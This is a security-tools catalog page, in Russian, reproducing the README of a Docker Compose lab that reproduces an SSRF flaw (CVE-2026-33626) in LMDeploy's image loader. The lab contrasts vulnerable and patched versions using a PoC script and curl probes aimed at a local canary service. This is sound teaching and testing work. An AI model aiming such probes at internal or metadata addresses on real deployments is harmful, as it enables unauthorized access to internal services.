Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33626-Lab — Docker Compose лаборатория, воспроизводящая SSRF CVE-2026-33626 в загрузчике изображений для vision-language от LMDeploy. Сравнивает поведение уязвимой (0.12.0) и исправленной (0.12.3) версий с помощью PoC-скрипта и внутреннего канареечного сервиса. | Kitploit
Инструменты/GitHubGitHub/rootdirective-sec/cve-2026-33626-lab
Анализ уязвимостейВеб-безопасностьCTFОбучение и ОбразованиеБезопасность ИИЛаборатории и Практика
GitHubrootdirective-sec/cve-2026-33626-lab

CVE-2026-33626-Lab

Docker Compose лаборатория, воспроизводящая SSRF CVE-2026-33626 в загрузчике изображений для vision-language от LMDeploy. Сравнивает поведение уязвимой (0.12.0) и исправленной (0.12.3) версий с помощью PoC-скрипта и внутреннего канареечного сервиса.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
3 месяцев назадЕщё не проверено

CVE-2026-33626 — Лаборатория SSRF для Vision-Language в LMDeploy

Обзор

Этот репозиторий воспроизводит CVE-2026-33626 – уязвимость подделки серверных запросов (SSRF) в пути загрузки изображений для vision-language в LMDeploy.

Уязвимое поведение возникает, когда LMDeploy получает URL изображения, а серверный загрузчик изображений загружает этот URL, не блокируя должным образом внутренние, частные, loopback или link-local адреса.

Эта лаборатория сравнивает:

СервисВерсияНазначение
vulnLMDeploy 0.12.0Демонстрирует уязвимое поведение
patchedLMDeploy 0.12.3Демонстрирует исправленное поведение
internalЛокальный сервис-канарейкаИмитирует внутренний ресурс, доступный только внутри сети Docker

Лаборатория предназначена для локального запуска с помощью Docker Compose и не обращается к метаданным облачных конечных точек или внешним целям.


Краткое описание уязвимости

LMDeploy поддерживает рабочие процессы vision-language, где изображение может загружаться из URL, предоставленного пользователем. В уязвимых версиях код загрузки изображений может загружать URL, которые разрешаются во внутренние/частные сетевые адреса.

Это может позволить атакующему, имеющему доступ к конечной точке LMDeploy, заставить сервер обращаться к внутренним ресурсам, таким как:

  • внутренние HTTP-сервисы
  • конечные точки метаданных
  • сервисы кэша/баз данных
  • частные панели администрирования
  • другие сервисы, доступные из сети сервера инференции

В этой лаборатории внутренняя цель намеренно безвредна:

root@kitploit:~
http://internal:9000/private.png

URL существует только внутри сети Docker Compose.


Дизайн лаборатории

root@kitploit:~
PoC-скрипт
   |
   | отправляет URL изображения
   v
vuln / patched сервис
   |
   | вызывает lmdeploy.vl.load_image(url)
   v
внутренний сервис-канарейка

Лаборатория не запускает полноценный сервер инференции VLM. Вместо этого она изолирует уязвимый примитив загрузки изображений LMDeploy, вызывая:

root@kitploit:~
from lmdeploy.vl import load_image
load_image(url)

Это делает воспроизведение лёгким и детерминированным, одновременно демонстрируя поведение безопасности, которое было исправлено.


Структура репозитория

root@kitploit:~
.
├── docker-compose.yml
├── internal
│   ├── Dockerfile
│   └── server.py
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── vuln
│   └── Dockerfile
└── README.md

Сервисы

Внутри сети Docker внутренняя канарейка доступна по адресу:

root@kitploit:~
http://internal:9000/private.png

Требования

  • Docker Desktop
  • Docker Compose v2
  • Python 3 для запуска PoC-скрипта

На Apple Silicon сервисы vuln и patched работают как linux/amd64, поскольку используемый в этой лаборатории wheel LMDeploy ориентирован на x86_64.


Запуск лаборатории

Соберите и запустите сервисы:

root@kitploit:~
docker compose up -d --build

Проверьте статус контейнеров:

root@kitploit:~
docker compose ps

Ожидаемый статус:

root@kitploit:~
cve-2026-33626-internal   Up
cve-2026-33626-vuln       Up (healthy)
cve-2026-33626-patched    Up (healthy)

Проверка версий

root@kitploit:~
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq

Ожидаемый вывод:

root@kitploit:~
{
  "lmdeploy_version": "0.12.0",
  "expected_role": "vulnerable"
}
root@kitploit:~
{
  "lmdeploy_version": "0.12.3",
  "expected_role": "patched"
}
root@kitploit:~
{
  "hits": []
}

Запуск PoC

Создайте виртуальное окружение и установите зависимости:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

Запустите PoC:

root@kitploit:~
python poc/poc.py

Цель SSRF по умолчанию:

root@kitploit:~
http://internal:9000/private.png

Эта цель доступна из контейнеров Docker, но не из публичного интернета.


Ожидаемый результат

Уязвимый сервис

Уязвимый сервис должен успешно загрузить изображение внутренней канарейки:

root@kitploit:~
{
  "service": "vulnerable",
  "probe_http_status": 200,
  "probe_response": {
    "ok": true,
    "result": "lmdeploy.vl.load_image() fetched and decoded the URL",
    "lmdeploy_version": "0.12.0"
  },
  "internal_hit_count": 1
}

Это подтверждает, что LMDeploy 0.12.0 совершил серверный запрос к внутреннему сервису Docker.

Исправленный сервис

Исправленный сервис должен заблокировать тот же URL до того, как будет достигнут внутренний сервис:

root@kitploit:~
{
  "service": "patched",
  "probe_http_status": 400,
  "probe_response": {
    "ok": false,
    "error_type": "ValueError",
    "error": "URL is blocked for security reasons: Blocked non-global IP detected",
    "lmdeploy_version": "0.12.3"
  },
  "internal_hit_count": 0
}

Это подтверждает, что LMDeploy 0.12.3 блокирует URL, разрешающиеся в неглобальные/внутренние IP-адреса.

Итоговое ожидаемое резюме:

root@kitploit:~
[+] Expected result confirmed:
    vulnerable service fetched the internal canary
    patched service blocked before reaching the internal canary

Ручное тестирование

Сбросьте внутреннюю канарейку:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq

Протестируйте уязвимый сервис:

root@kitploit:~
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

Ожидается: /hits содержит один запрос.

Протестируйте исправленный сервис:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

Ожидается: /hits остаётся пустым.


Почему это демонстрирует SSRF

PoC не запрашивает внутренний сервис напрямую от имени атакующего.

Вместо этого PoC отправляет внутренний URL в LMDeploy. Если LMDeploy загружает этот URL из сети контейнера, внутренняя канарейка записывает запрос.

Это поведение доказывает примитив SSRF:

root@kitploit:~
URL под контролем атакующего
        ↓
Серверный загрузчик изображений LMDeploy
        ↓
запрос к внутреннему сетевому ресурсу

Исправленная версия предотвращает это, отвергая URL, которые разрешаются в неглобальные IP-адреса.


Очистка

root@kitploit:~
docker compose down -v

Ссылки

  • GitHub Security Advisory: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq

  • NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626

  • Коммит с исправлением: 71d64a339edb901e9005358e0633fbbab367d626 https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626

  • Pull Request: #4447 https://github.com/InternLM/lmdeploy/pull/4447

  • Анализ Sysdig https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours

Скачать инструмент
СервисURL хостаПорт контейнераОписание
vulnhttp://127.0.0.1:80818000Обёртка LMDeploy 0.12.0
patchedhttp://127.0.0.1:80828000Обёртка LMDeploy 0.12.3
internalhttp://127.0.0.1:80909000Внутренний сервис-канарейка